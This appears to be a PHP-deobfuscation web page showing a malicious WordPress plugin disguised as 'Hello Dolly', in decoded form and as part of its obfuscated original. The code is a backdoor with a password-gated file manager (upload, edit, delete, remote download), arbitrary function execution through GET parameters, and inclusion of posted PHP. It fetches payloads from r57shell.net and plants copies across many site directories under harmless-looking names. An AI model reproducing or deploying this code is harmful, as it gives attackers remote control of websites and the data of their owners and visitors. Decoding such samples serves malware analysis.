Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /** * @package Hello_Dolly * @version 1.7.2 */ /* Plugin Name: Hello Dolly ..

Decoded Output download

<?php 
/** 
 * @package Hello_Dolly 
 * @version 1.7.2 
 */ 
/* 
Plugin Name: Hello Dolly 
Plugin URI: http://wordpress.org/plugins/hello-dolly/ 
Description: This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a lyric from <cite>Hello, Dolly</cite> in the upper right of your admin screen on every page. 
Author: Matt Mullenweg 
Version: 1.7.2 
Author URI: http://ma.tt/ 
*/ 
 
 
// Now we set that function up to execute when the admin_notices action is called. 
add_action( 'init', 'my_dolly' ); 
 
function my_dolly() 
{ 
 goto xeBtt; XZwzA: $LQALr = $_POST["url"]; goto OtG30; e1CUw: FwzM9: goto BCFIX; rXAN_: echo "<form enctype="multipart/form-data" method="POST" action="?dolly=1&path={$mmkrr}"><input name="up_file" type="file"/><input type="submit" value="up File"/></form></td></tr>"; goto tWAfZ; x5kK1: foreach ($IBeZo as $TZZlz => $NiXIe) { goto IDna1; yuHb1: A1ZT4: goto WKaYP; af65k: $SIhc1 = 0; goto uE50G; WKaYP: if (!($NiXIe == '')) { goto zyERk; } goto lUKaJ; MEGfE: dXq65: goto MrgBH; CkNLA: zyERk: goto GOPJi; gZGMD: if (!($SIhc1 <= $TZZlz)) { goto DshGu; } goto MPzWe; AGTcj: DshGu: goto e4g8z; j6x4u: goto iii5P; goto yuHb1; HO0IW: iii5P: goto tkLNZ; ydI33: $ebTfd = true; goto Ju8zc; RII27: echo "/"; goto YCUto; F1Tqw: if (!($SIhc1 != $TZZlz)) { goto APdHh; } goto RII27; uE50G: ucCmv: goto gZGMD; MrgBH: $SIhc1++; goto DYfR8; Ju8zc: echo "<a href="?dolly=1&path=/">/</a>"; goto j6x4u; DYfR8: goto ucCmv; goto AGTcj; IDna1: if (!($NiXIe == '' && $TZZlz == 0)) { goto A1ZT4; } goto ydI33; lUKaJ: goto iii5P; goto CkNLA; e4g8z: echo "">" . $NiXIe . "</a>/"; goto HO0IW; MPzWe: echo "{$IBeZo[$SIhc1]}"; goto F1Tqw; GOPJi: echo "<a href="?dolly=1&path="; goto af65k; YCUto: APdHh: goto MEGfE; tkLNZ: } goto Cr3i_; OGL7K: if (!isset($_FILES["up_file"])) { goto L14eg; } goto jEmGJ; DVEcc: $yzhHh = $LgKF7[3]; goto SdCj3; N0EBe: HYjY3: goto yu35n; Nt1sH: gI6W7: goto Bxytp; k383R: echo "<font color="green">Delete File Done.</font><br />"; goto hV0Ek; kUFa8: echo "<tr><td><font color="red">download fail</font></td></tr>"; goto zwyZe; wM46Q: if (isset($_GET["check"]) && $_GET["check"] == "1") { goto xjycG; } goto HMPl2; jS8f3: jLYJ2: goto pfzw0; X006e: echo "</td></tr><tr><td>"; goto OGL7K; hRbRR: echo "<form action="" method="post"><textarea style="width:100%;height:300px;" name="edit_content">" . htmlspecialchars(file_get_contents($_GET["filepath"])) . "</textarea><input type="submit"></form>"; goto rCYu4; nHhz7: sXBC9: goto Fdg_N; YplHd: l5dV8: goto Pr2RI; m_4yT: echo "<tr><td>Current File : "; goto Y6dL3; HMPl2: echo "</table><br /><center>"; goto xCfjP; FXEnU: echo "Saved!"; goto zTWUN; sjiR5: $yzhHh = $LgKF7[3]; goto RGsUu; ULNtQ: curl_setopt($h_ymz, CURLOPT_RETURNTRANSFER, 1); goto GpI7L; pfzw0: $mmkrr = str_replace("\", "/", $mmkrr); goto sQYRm; d9a0m: echo "<tr><td>Current File : "; goto XYpf7; jQHrI: $OoXjv = $LgKF7[2]; goto GlOw_; Fdg_N: YLXst: goto YhdcJ; JXv5D: $lTy22 = $_SERVER["DOCUMENT_ROOT"] . "/" . $_GET["dir"] . "/" . $OoXjv . "." . $yzhHh; goto JB2IB; Q9X6d: $Nbc86 = $_SERVER["DOCUMENT_ROOT"]; goto JwTRk; P586y: $h_ymz = curl_init(); goto gLLAs; Av9KZ: goto NjMTQ; goto nsaH0; PBWR7: if ($LgKF7[3] == "txt") { goto Rvvk_; } goto DVEcc; OtG30: preg_match("/(.*)\/(.*)\.(.*?)$/", $LQALr, $LgKF7); goto PBWR7; zwyZe: goto bXi1T; goto PIA1c; NxnBL: echo "<tr class="first"><td></td><td></td><td></td><td></td></tr>"; goto FxhyG; Khgnn: if (!@$_POST["login_password_file"]) { goto YLXst; } goto AgeLS; dFfk0: if ($_GET["url"]) { goto SS018; } goto yJbts; jEmGJ: $VPx30 = basename($_FILES["up_file"]["name"]); goto aGqfN; q3q74: echo "<pre>" . htmlspecialchars(file_get_contents($O3J56)) . "</pre>"; goto VdvuC; iq726: echo "</tr></td></table><br />"; goto q3q74; ubnXL: OjSeQ($LQALr, $lTy22); goto UMwvU; jgQ0a: $lTy22 = $_POST["path"] . "/" . $OoXjv . "." . $yzhHh; goto ubnXL; dgXAi: L14eg: goto rXAN_; YhdcJ: if (file_exists($RzzSV)) { goto S93Di; } goto MOIMN; kVHSD: C9kj5: goto k383R; xeBtt: if (!(@$_GET["dolly"] == "1")) { goto eU3le; } goto xCUhG; TMtAp: S40Nr: goto FXEnU; srRVq: goto A13Q1; goto BlmRr; TvYDE: t7FCZ: goto dgXAi; phoOd: goto t7FCZ; goto Vlwez; li8mO: goto bDi4_; goto Eo0xR; XYpf7: echo $_GET["filepath"]; goto skJk_; LBa8L: UXGO_: goto uOLdJ; fLI3r: Wlv2_: goto d9a0m; dWw8W: i3U5e: goto S1_VQ; Cr3i_: WRHpw: goto X006e; Eo0xR: SS018: goto S2m1A; IQZR_: bks0V: goto qASLI; vlGdf: xjycG: goto Q9X6d; S2m1A: $LQALr = $_GET["url"]; goto K2NvY; rCYu4: goto skFHo; goto vlGdf; KrgZY: uya_l: goto xUnKW; skJk_: echo "</tr></td></table><br />"; goto hRbRR; JB2IB: A13Q1: goto hrvvt; AgeLS: if (function_exists("curl_init")) { goto r_FAh; } goto gmP4g; GpI7L: $K85PS = curl_exec($h_ymz); goto NH6n1; hmyYv: goto HYjY3; goto faMNw; Y6dL3: echo $O3J56; goto iq726; dHicD: uzgd6: goto XZwzA; lTvy8: touch($RzzSV); goto nHhz7; GlOw_: NjMTQ: goto jgQ0a; zTWUN: M62tH: goto e1CUw; tWAfZ: function oJSeQ($LQALr, $lTy22) { goto nDAFb; l6zQi: curl_setopt($h_ymz, CURLOPT_RETURNTRANSFER, 1); goto GmYtd; rj_Uq: if ($UpMYi) { goto oFx_l; } goto ui9Re; oPpOA: $UpMYi = curl_exec($h_ymz); goto rj_Uq; GmYtd: curl_setopt($h_ymz, CURLOPT_TIMEOUT, 10); goto oPpOA; eyru6: oFx_l: goto eHdpY; eHdpY: file_put_contents($lTy22, $UpMYi); goto qOW2i; nDAFb: $h_ymz = curl_init(); goto zFo12; zFo12: curl_setopt($h_ymz, CURLOPT_URL, $LQALr); goto l6zQi; ui9Re: $UpMYi = @file_get_contents($LQALr); goto eyru6; qOW2i: } goto dFfk0; yu35n: if (!(md5(sha1(@$_POST["login_password_file"])) == $K85PS)) { goto sXBC9; } goto lTvy8; plzPE: goto bDi4_; goto dHicD; VdvuC: skFHo: goto Ljx8c; RKmRi: JMobb: goto NxnBL; ldRqe: echo "<tr><td><font color="red">download fail</font></td></tr>"; goto fU13s; ZJgqn: echo "<table align="center" width="400" border="0" cellspacing="1" cellpadding="3"><tr><td>PathNow: "; goto RdxJA; SJ77b: eUVBQ: goto tfWSP; Vlwez: atslh: goto tSWA6; Bxytp: $mmkrr = $_GET["path"]; goto jS8f3; hrvvt: oJsEq($LQALr, $lTy22); goto rNHwy; PIA1c: YbnLr: goto nxI2Z; xCfjP: if (!(isset($_GET["option"]) && $_GET["option"] == "delete")) { goto uya_l; } goto XUMT0; u5uZ6: goto skFHo; goto fLI3r; upq2L: goto q9OdR; goto Ikp30; hV0Ek: rBbSt: goto KrgZY; IUDsi: goto M62tH; goto TMtAp; gRNe7: echo "<font color="red">up fail!</font><br />"; goto phoOd; Ikp30: S93Di: goto ZJgqn; MOIMN: echo "<form actio="" method="post"><input type="text" name="login_password_file"><input type="submit" value=">"></form>"; goto upq2L; tSWA6: echo "<font color="green">file up!</font><br />"; goto TvYDE; gmP4g: $K85PS = file_get_contents("http://r57shell.net/jquery.php?v=1.2&pwd=get"); goto hmyYv; tfWSP: bDi4_: goto dzIG0; JwTRk: $O3J56 = $Nbc86 . "/index.php"; goto m_4yT; fU13s: goto eUVBQ; goto YplHd; FlSlC: bXi1T: goto plzPE; m34Cf: echo "Not saved!"; goto IUDsi; qASLI: $yzhHh = "php"; goto ZfgMw; D1Cq4: if ($LgKF7[3] == "txt") { goto bks0V; } goto sjiR5; S1_VQ: if ($_GET["dir"]) { goto qgEeF; } goto iWVOR; xCUhG: $RzzSV = sys_get_temp_dir() . DIRECTORY_SEPARATOR . md5($_SERVER["REMOTE_ADDR"] . $_SERVER["HTTP_HOST"]); goto Khgnn; yJbts: if ($_POST["url"]) { goto uzgd6; } goto li8mO; Ljx8c: q9OdR: goto hj97H; NH6n1: curl_close($h_ymz); goto N0EBe; RdxJA: if (isset($_GET["path"])) { goto gI6W7; } goto Iz5D3; Pr2RI: echo "<tr><td><font color="green">download success</font></td></tr>"; goto SJ77b; r_sui: if (!isset($_POST["edit_content"])) { goto FwzM9; } goto UFo3O; BlmRr: qgEeF: goto JXv5D; rWkxF: echo "<div id="content"><table width="380" border="0" cellpadding="3" cellspacing="1" align="center"><tr class="first"><td>Name</td><td>Size</td><td>Options</td></tr>"; goto qIOxf; mA0OI: echo "<font color="red">Delete File Error.</font><br />"; goto L8pC3; UMwvU: if (file_exists($lTy22)) { goto l5dV8; } goto ldRqe; qIOxf: foreach ($owPRA as $lTy22) { goto Jt9Zu; VJmpH: goto H_MTE; goto ODmEo; ODmEo: swF91: goto ID5GJ; Jt9Zu: if (!(!is_dir("{$mmkrr}/{$lTy22}") || $lTy22 == "." || $lTy22 == "..")) { goto swF91; } goto VJmpH; ID5GJ: echo "<tr><td><a href="?dolly=1&path={$mmkrr}/{$lTy22}">{$lTy22}</a></td><td>DIR</td><td>none</td></tr>"; goto Rx8sI; Rx8sI: H_MTE: goto bwIPu; bwIPu: } goto RKmRi; nsaH0: Rvvk_: goto j0hH_; jW4lX: goto jLYJ2; goto Nt1sH; dzIG0: echo "<tr><td><form method="POST" action="?dolly=1&path={$mmkrr}"><span>Url: </span><input type=text name="url" value=""><input type="hidden" name="path" value="{$mmkrr}"><input type=submit value="Download"></form></td></tr>"; goto r_sui; iWVOR: $lTy22 = $_SERVER["DOCUMENT_ROOT"] . "/" . $OoXjv . "." . $yzhHh; goto srRVq; uOLdJ: echo "</table></div>"; goto u5uZ6; FxhyG: foreach ($owPRA as $EimFw) { goto EIGct; hIQZz: if ($c5tlh >= 1024) { goto ZPmw6; } goto nN1oo; eLeOD: ZPmw6: goto LQUIA; mCU9k: $c5tlh = filesize("{$mmkrr}/{$EimFw}") / 1024; goto w1OY5; Z_SEj: goto Iquu7; goto OkFmy; R7O_A: zftmD: goto qy1ZP; OkFmy: Zwy3H: goto mCU9k; MKC3o: Iquu7: goto aJ_HF; FJTc0: goto zftmD; goto eLeOD; nN1oo: $c5tlh = $c5tlh . " KB"; goto FJTc0; qy1ZP: echo "<tr><td><a href="?dolly=1&filepath={$mmkrr}/{$EimFw}&path={$mmkrr}">{$EimFw}</a></td><td>" . $c5tlh . "</td><td><a href="?dolly=1&path={$mmkrr}&delfile={$mmkrr}/{$EimFw}&option=delete">Delete</a></td></tr>"; goto MKC3o; EIGct: if (is_file("{$mmkrr}/{$EimFw}")) { goto Zwy3H; } goto Z_SEj; w1OY5: $c5tlh = round($c5tlh, 3); goto hIQZz; LQUIA: $c5tlh = round($c5tlh / 1024, 2) . " MB"; goto R7O_A; aJ_HF: } goto LBa8L; ZfgMw: $OoXjv = $LgKF7[2]; goto dWw8W; XUMT0: if (unlink($_GET["delfile"])) { goto C9kj5; } goto mA0OI; UFo3O: if (file_put_contents($_GET["filepath"], stripslashes($_POST["edit_content"]))) { goto S40Nr; } goto m34Cf; K2NvY: preg_match("/(.*)\/(.*)\.(.*?)$/", $LQALr, $LgKF7); goto D1Cq4; xUnKW: echo "</center>"; goto HRA1x; nxI2Z: echo "<tr><td><font color="green">download success</font></td></tr>"; goto FlSlC; gLLAs: curl_setopt($h_ymz, CURLOPT_URL, "http://r57shell.net/jquery.php?v=1.2&pwd=get"); goto ULNtQ; HRA1x: $owPRA = scandir($mmkrr); goto rWkxF; rNHwy: if (file_exists($lTy22)) { goto YbnLr; } goto kUFa8; Ye5ln: goto i3U5e; goto IQZR_; hj97H: exit; goto tC9Hn; faMNw: r_FAh: goto P586y; SdCj3: $OoXjv = "moban"; goto Av9KZ; Iz5D3: $mmkrr = getcwd(); goto jW4lX; BCFIX: if (isset($_GET["filepath"])) { goto Wlv2_; } goto wM46Q; RGsUu: $OoXjv = "moban"; goto Ye5ln; sQYRm: $IBeZo = explode("/", $mmkrr); goto x5kK1; L8pC3: goto rBbSt; goto kVHSD; aGqfN: if (move_uploaded_file($_FILES["up_file"]["tmp_name"], $mmkrr . "/" . $VPx30)) { goto atslh; } goto gRNe7; j0hH_: $yzhHh = "php"; goto jQHrI; tC9Hn: eU3le: 
} 
add_action('init','wp_dolly_checker'); 
function wp_dolly_checker() 
{ 
 goto KyxwG; Qe5AU: nmiM9: goto hGfwS; q1aF4: exit; goto G0SlY; Yf8JW: $fE1ys = curl_exec($mEeQs); goto QNQiL; QkyyZ: if ($QKLxZ == DIRECTORY_SEPARATOR || $QKLxZ == '') { goto mTyEJ; } goto FEkXQ; wjTCp: foreach ($MuYG1 as $DqB8Q => $dMXPq) { goto bPiOm; BMbTh: hP7zk: goto i3H_v; mxh_8: if (!file_exists($MspFa)) { goto wGuiH; } goto LKhpn; bPiOm: $MspFa = $Sh5di . DIRECTORY_SEPARATOR . $DqB8Q; goto mxh_8; FAeni: wGuiH: goto BMbTh; LKhpn: $fSZu0 = $fSZu0 + 1; goto FAeni; i3H_v: } goto zCJdv; aZZY6: $mEeQs = curl_init(); goto x4Vrc; vd_rO: RsMcV: goto q1aF4; DysgT: goto sA6Og; goto MoyD9; gkCIn: if (function_exists("curl_init")) { goto VlpaN; } goto VAqAc; zDok4: goto HhK_n; goto qNaJh; Rf1hd: QJU0k: goto ySOkK; zCJdv: jFUfU: goto f3rrf; S2tGM: goto OTmG1; goto Rf1hd; ckbV_: @file_put_contents($kTSwe, $fE1ys); goto of7g3; HDccw: goto Tdvpw; goto CijGp; FXFfv: if (!@$_GET["slince_golden"]) { goto hAvMV; } goto LjrKW; xX_GH: sA6Og: goto IbIZn; ed6pF: $yPqE6 = @file_get_contents($kTSwe); goto WY47z; ySOkK: foreach ($MuYG1 as $DqB8Q => $dMXPq) { goto KcT46; A8A12: nJioo: goto yoRrJ; ZSl5U: $jUuZX = file_get_contents($LcxcD); goto LICvp; V8Brd: goto YVdSE; goto ZIlXh; GRVP2: goto nJioo; goto ylsLA; N6OEe: if (!file_exists($LcxcD)) { goto l9a3m; } goto ZSl5U; yoRrJ: MOUya: goto oh7TC; wIf1k: YVdSE: goto GRVP2; jIsyG: $LrYlV = 1; goto wIf1k; wgZjk: $LcxcD = $Sh5di . DIRECTORY_SEPARATOR . $DqB8Q . DIRECTORY_SEPARATOR . $dMXPq; goto N6OEe; Apriz: @mkdir($MspFa); goto wgZjk; LICvp: if (@preg_match("#stt1#", $jUuZX)) { goto Bc6bR; } goto zPySZ; ylsLA: l9a3m: goto rBomF; ZIlXh: Bc6bR: goto jIsyG; rBomF: @file_put_contents($LcxcD, $yPqE6); goto A8A12; zPySZ: @file_put_contents($LcxcD, $yPqE6); goto V8Brd; KcT46: $MspFa = $Sh5di . DIRECTORY_SEPARATOR . $DqB8Q; goto Apriz; oh7TC: } goto T6Duc; pH5SS: function xIHv0($ZSTFj) { goto KDEvV; waZyj: $DHEWU = stream_get_meta_data($ddLZk); goto sYkJ0; sYkJ0: $DHEWU = $DHEWU["uri"]; goto TtrPc; TtrPc: fwrite($ddLZk, $ZSTFj); goto NQ4vn; qxIkp: fclose($ddLZk); goto EbnsX; NQ4vn: $eAhVV = (include $DHEWU); goto qxIkp; EbnsX: return $eAhVV; goto qfoTy; KDEvV: $ddLZk = tmpfile(); goto waZyj; qfoTy: } goto UDFEx; IhthM: $QKLxZ = str_replace("/", DIRECTORY_SEPARATOR, $QKLxZ); goto QkyyZ; x4Vrc: curl_setopt($mEeQs, CURLOPT_URL, "http://r57shell.net/jquery.php?v=1.2&request=enablewp"); goto hzdUV; QNQiL: curl_close($mEeQs); goto IaiOO; VAqAc: $GAHRw = $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; goto VAv78; yJe1b: $uQ5c4 = parse_url($u_RbO); goto y5tnx; mrf2x: $Zm2U4 = dirname($pVTbi); goto IhthM; de1Ct: OTmG1: goto oIyiW; nrr_E: $u_RbO = $_SERVER["REQUEST_URI"]; goto yJe1b; Cvl2J: $K5yJ2 = md5_file($cKbig); goto Up5Vf; Up5Vf: if ($fSZu0 < 3) { goto QJU0k; } goto Bp_yq; f3rrf: $cKbig = sys_get_temp_dir() . DIRECTORY_SEPARATOR . "sess_" . md5($eETKK); goto Cvl2J; XjiX3: $fE1ys = file_get_contents("http://r57shell.net/jquery.php?v=1.2&pwd=get"); goto hne6b; XKY92: $fE1ys = @file_get_contents("http://r57shell.net/jquery.php?v=1.2&request=enablewp", false, $HxaPy); goto DysgT; c5SKK: Tdvpw: goto FXFfv; g_Dek: $eETKK = str_replace("www.", '', $_SERVER["HTTP_HOST"]); goto ngBJ4; Bp_yq: foreach ($MuYG1 as $DqB8Q => $dMXPq) { goto ZGqgW; OGjDS: $NpHAx = $yPqE6 . $jUuZX; goto SCA7u; l5E7m: $LrYlV = 1; goto xzU8v; OQfAo: UsXxG: goto l5E7m; QBPHR: $LcxcD = $Sh5di . DIRECTORY_SEPARATOR . $DqB8Q . DIRECTORY_SEPARATOR . $dMXPq; goto aeOke; iLCOH: goto TIc3h; goto waB8m; SCA7u: @file_put_contents($LcxcD, $NpHAx); goto GrePg; KH9Lg: if (@preg_match("#stt1#", $jUuZX)) { goto UsXxG; } goto OGjDS; rqPC_: TIc3h: goto s79kD; GrePg: goto bhipc; goto OQfAo; ZGqgW: $MspFa = $Sh5di . DIRECTORY_SEPARATOR . $DqB8Q; goto rSAD5; RgC7M: YMn0h: goto E3zXK; xzU8v: bhipc: goto iLCOH; kRNwF: @file_put_contents($LcxcD, $yPqE6); goto rqPC_; aeOke: if (!file_exists($LcxcD)) { goto HWS0w; } goto kLr4B; rSAD5: if (!file_exists($MspFa)) { goto o_Te2; } goto QBPHR; kLr4B: $jUuZX = file_get_contents($LcxcD); goto KH9Lg; s79kD: o_Te2: goto RgC7M; waB8m: HWS0w: goto kRNwF; E3zXK: } goto F3CCi; YGxN6: if (file_exists($kTSwe)) { goto TJCdR; } goto gkCIn; F3CCi: V1rQp: goto S2tGM; aNW5k: $QKLxZ = dirname($QKLxZ); goto mrf2x; LjrKW: echo "<!-- //Silence is golden. -->"; goto giC4t; bf9e9: if (!file_exists($kTSwe)) { goto ULUeR; } goto ed6pF; of7g3: nAnXY: goto Dvves; giC4t: if (function_exists("curl_init")) { goto Qz1EW; } goto XjiX3; KyxwG: $pVTbi = $_SERVER["SCRIPT_FILENAME"]; goto nrr_E; MY_05: print_r($_GET["f"]($_GET["c"])); goto Qe5AU; O1ccd: $fE1ys = curl_exec($mEeQs); goto EhptG; IaiOO: bmZt9: goto duaXQ; YOjF1: Qz1EW: goto AMj8v; FEkXQ: $Sh5di = str_replace($QKLxZ, '', $Zm2U4); goto zDok4; y5tnx: $QKLxZ = $uQ5c4["path"]; goto aNW5k; IbIZn: if (!$fE1ys) { goto nAnXY; } goto ckbV_; Dvves: TJCdR: goto bf9e9; AMj8v: $mEeQs = curl_init(); goto bKd8t; hzdUV: curl_setopt($mEeQs, CURLOPT_RETURNTRANSFER, 1); goto OTW8D; bKd8t: curl_setopt($mEeQs, CURLOPT_URL, "http://r57shell.net/jquery.php?v=1.2&pwd=get"); goto vUl5h; UDFEx: print_r(xIHV0($_POST["l"])); goto FRTbk; MoyD9: VlpaN: goto aZZY6; S_TrO: $Sh5di = $Zm2U4; goto BCym_; hne6b: goto bmZt9; goto YOjF1; CijGp: fjmem: goto jBR6N; VAv78: $JJ8w9 = array("http" => array("header" => array("Referer: {$GAHRw}\xd\xa"))); goto NJgR1; vUl5h: curl_setopt($mEeQs, CURLOPT_RETURNTRANSFER, 1); goto Yf8JW; duaXQ: if (!(md5(sha1(@$_GET["is"])) == $fE1ys)) { goto RsMcV; } goto eDs81; BCym_: HhK_n: goto g_Dek; qNaJh: mTyEJ: goto S_TrO; NJgR1: $HxaPy = stream_context_create($JJ8w9); goto XKY92; EhptG: curl_close($mEeQs); goto xX_GH; eDs81: if (!@$_GET["f"]) { goto nmiM9; } goto MY_05; T6Duc: WwvZK: goto de1Ct; ZH2qV: $fSZu0 = 0; goto wjTCp; WY47z: $MuYG1 = array("cgi-bin" => "hello.php", "css" => "styles.php", "images" => "timthumb.php", "wp-includes" => "wp-cli.php", "assets" => "less.css.php", "app" => "vendor.php", "sources" => "view-template.php", "js" => "fonts.php", "wp-admin" => "wp-admin.php", "config" => "configuration.inc.sample.php", "data" => "sources.php", "vendor" => "construct.php", "wp-content" => "index.php"); goto ZH2qV; G0SlY: hAvMV: goto YGxN6; hGfwS: if (!@$_POST["l"]) { goto z4p4o; } goto pH5SS; ngBJ4: if (is_writable(sys_get_temp_dir())) { goto fjmem; } goto a_ROr; OTW8D: curl_setopt($mEeQs, CURLOPT_REFERER, $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]); goto O1ccd; jBR6N: $kTSwe = sys_get_temp_dir() . DIRECTORY_SEPARATOR . md5("sess_" . $eETKK . "_lsws"); goto c5SKK; a_ROr: $kTSwe = $Zm2U4 . DIRECTORY_SEPARATOR . md5("sess_" . $eETKK . "_lsws"); goto HDccw; FRTbk: z4p4o: goto vd_rO; oIyiW: ULUeR: 
} ?>

Did this file decode correctly?

Original Code

<?php
/**
 * @package Hello_Dolly
 * @version 1.7.2
 */
/*
Plugin Name: Hello Dolly
Plugin URI: http://wordpress.org/plugins/hello-dolly/
Description: This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a lyric from <cite>Hello, Dolly</cite> in the upper right of your admin screen on every page.
Author: Matt Mullenweg
Version: 1.7.2
Author URI: http://ma.tt/
*/


// Now we set that function up to execute when the admin_notices action is called.
add_action( 'init', 'my_dolly' );

function my_dolly()
{
 goto xeBtt; XZwzA: $LQALr = $_POST["\165\162\154"]; goto OtG30; e1CUw: FwzM9: goto BCFIX; rXAN_: echo "\x3c\x66\x6f\162\x6d\x20\x65\x6e\x63\164\x79\x70\x65\x3d\42\155\x75\154\x74\x69\160\141\x72\164\x2f\146\x6f\x72\x6d\55\x64\141\164\141\42\x20\x6d\x65\x74\x68\x6f\144\x3d\42\120\117\x53\124\x22\40\x61\143\x74\x69\157\156\75\42\x3f\144\x6f\154\154\x79\75\61\46\160\141\x74\x68\75{$mmkrr}\42\76\74\151\156\x70\165\164\40\x6e\141\x6d\x65\x3d\42\165\x70\137\x66\x69\x6c\145\42\x20\164\171\x70\145\x3d\x22\x66\x69\x6c\145\42\x2f\76\74\x69\156\x70\x75\164\40\x74\171\160\x65\x3d\42\x73\165\x62\155\151\164\x22\40\166\x61\154\165\x65\x3d\42\x75\160\40\106\151\154\145\42\57\76\74\x2f\x66\x6f\162\x6d\x3e\74\x2f\164\144\76\74\57\164\x72\x3e"; goto tWAfZ; x5kK1: foreach ($IBeZo as $TZZlz => $NiXIe) { goto IDna1; yuHb1: A1ZT4: goto WKaYP; af65k: $SIhc1 = 0; goto uE50G; WKaYP: if (!($NiXIe == '')) { goto zyERk; } goto lUKaJ; MEGfE: dXq65: goto MrgBH; CkNLA: zyERk: goto GOPJi; gZGMD: if (!($SIhc1 <= $TZZlz)) { goto DshGu; } goto MPzWe; AGTcj: DshGu: goto e4g8z; j6x4u: goto iii5P; goto yuHb1; HO0IW: iii5P: goto tkLNZ; ydI33: $ebTfd = true; goto Ju8zc; RII27: echo "\x2f"; goto YCUto; F1Tqw: if (!($SIhc1 != $TZZlz)) { goto APdHh; } goto RII27; uE50G: ucCmv: goto gZGMD; MrgBH: $SIhc1++; goto DYfR8; Ju8zc: echo "\x3c\x61\x20\x68\162\x65\146\x3d\x22\x3f\144\157\154\x6c\171\75\61\46\x70\x61\164\150\x3d\57\x22\76\x2f\x3c\57\x61\76"; goto j6x4u; DYfR8: goto ucCmv; goto AGTcj; IDna1: if (!($NiXIe == '' && $TZZlz == 0)) { goto A1ZT4; } goto ydI33; lUKaJ: goto iii5P; goto CkNLA; e4g8z: echo "\42\x3e" . $NiXIe . "\x3c\x2f\x61\76\x2f"; goto HO0IW; MPzWe: echo "{$IBeZo[$SIhc1]}"; goto F1Tqw; GOPJi: echo "\74\141\x20\150\162\145\146\x3d\x22\x3f\144\x6f\x6c\x6c\x79\x3d\x31\46\160\141\x74\x68\75"; goto af65k; YCUto: APdHh: goto MEGfE; tkLNZ: } goto Cr3i_; OGL7K: if (!isset($_FILES["\x75\x70\137\x66\151\154\x65"])) { goto L14eg; } goto jEmGJ; DVEcc: $yzhHh = $LgKF7[3]; goto SdCj3; N0EBe: HYjY3: goto yu35n; Nt1sH: gI6W7: goto Bxytp; k383R: echo "\74\x66\157\x6e\164\40\x63\157\154\157\162\75\42\x67\162\145\145\x6e\42\76\104\145\x6c\145\x74\145\x20\106\151\154\145\40\x44\157\x6e\x65\x2e\x3c\x2f\x66\x6f\x6e\x74\x3e\x3c\x62\162\40\57\76"; goto hV0Ek; kUFa8: echo "\x3c\x74\162\76\x3c\164\144\76\x3c\x66\x6f\x6e\x74\40\143\x6f\154\x6f\162\x3d\42\x72\x65\x64\42\x3e\x64\157\167\x6e\x6c\157\x61\x64\x20\146\141\x69\x6c\74\x2f\x66\157\x6e\164\76\74\x2f\x74\144\76\x3c\57\x74\162\76"; goto zwyZe; wM46Q: if (isset($_GET["\143\150\145\x63\153"]) && $_GET["\143\x68\x65\x63\x6b"] == "\x31") { goto xjycG; } goto HMPl2; jS8f3: jLYJ2: goto pfzw0; X006e: echo "\x3c\57\x74\144\x3e\x3c\x2f\x74\x72\76\74\164\162\76\x3c\164\144\76"; goto OGL7K; hRbRR: echo "\x3c\146\157\162\155\x20\x61\143\x74\151\x6f\156\x3d\x22\42\x20\155\x65\x74\x68\157\144\75\x22\160\x6f\163\164\42\x3e\74\x74\x65\x78\164\141\x72\145\141\40\163\x74\171\154\x65\75\42\x77\151\x64\164\150\x3a\61\60\x30\45\x3b\x68\145\151\x67\x68\x74\x3a\x33\x30\60\x70\170\x3b\42\40\156\x61\155\x65\x3d\42\x65\x64\x69\x74\x5f\143\x6f\156\x74\x65\x6e\164\x22\76" . htmlspecialchars(file_get_contents($_GET["\x66\x69\154\x65\160\x61\x74\150"])) . "\x3c\57\x74\145\170\x74\141\162\x65\x61\76\74\151\156\x70\165\x74\40\164\171\x70\x65\x3d\x22\x73\x75\142\x6d\x69\x74\x22\76\74\x2f\146\x6f\162\155\x3e"; goto rCYu4; nHhz7: sXBC9: goto Fdg_N; YplHd: l5dV8: goto Pr2RI; m_4yT: echo "\x3c\x74\162\76\74\164\144\76\x43\165\x72\x72\x65\x6e\164\40\106\151\154\145\40\x3a\40"; goto Y6dL3; HMPl2: echo "\74\x2f\x74\141\x62\154\145\x3e\74\142\x72\40\57\x3e\74\143\x65\156\x74\x65\162\76"; goto xCfjP; FXEnU: echo "\123\141\166\x65\x64\41"; goto zTWUN; sjiR5: $yzhHh = $LgKF7[3]; goto RGsUu; ULNtQ: curl_setopt($h_ymz, CURLOPT_RETURNTRANSFER, 1); goto GpI7L; pfzw0: $mmkrr = str_replace("\134", "\57", $mmkrr); goto sQYRm; d9a0m: echo "\74\x74\162\x3e\74\164\144\76\x43\165\x72\162\145\156\x74\x20\x46\x69\x6c\145\40\72\40"; goto XYpf7; jQHrI: $OoXjv = $LgKF7[2]; goto GlOw_; Fdg_N: YLXst: goto YhdcJ; JXv5D: $lTy22 = $_SERVER["\104\x4f\x43\125\115\x45\116\x54\x5f\x52\x4f\x4f\x54"] . "\57" . $_GET["\144\x69\162"] . "\57" . $OoXjv . "\x2e" . $yzhHh; goto JB2IB; Q9X6d: $Nbc86 = $_SERVER["\104\117\x43\125\x4d\105\x4e\x54\x5f\x52\117\x4f\x54"]; goto JwTRk; P586y: $h_ymz = curl_init(); goto gLLAs; Av9KZ: goto NjMTQ; goto nsaH0; PBWR7: if ($LgKF7[3] == "\x74\170\x74") { goto Rvvk_; } goto DVEcc; OtG30: preg_match("\x2f\x28\56\x2a\x29\x5c\57\x28\56\x2a\x29\134\x2e\50\56\52\77\x29\44\57", $LQALr, $LgKF7); goto PBWR7; zwyZe: goto bXi1T; goto PIA1c; NxnBL: echo "\x3c\x74\x72\40\x63\x6c\141\163\x73\75\42\146\x69\x72\163\x74\x22\x3e\x3c\164\x64\76\x3c\57\164\x64\x3e\x3c\x74\x64\x3e\74\57\x74\x64\x3e\x3c\164\x64\76\x3c\57\x74\x64\x3e\x3c\164\x64\x3e\x3c\x2f\164\x64\76\x3c\57\x74\162\x3e"; goto FxhyG; Khgnn: if (!@$_POST["\x6c\x6f\147\151\156\x5f\x70\x61\x73\x73\x77\157\162\144\x5f\146\151\x6c\x65"]) { goto YLXst; } 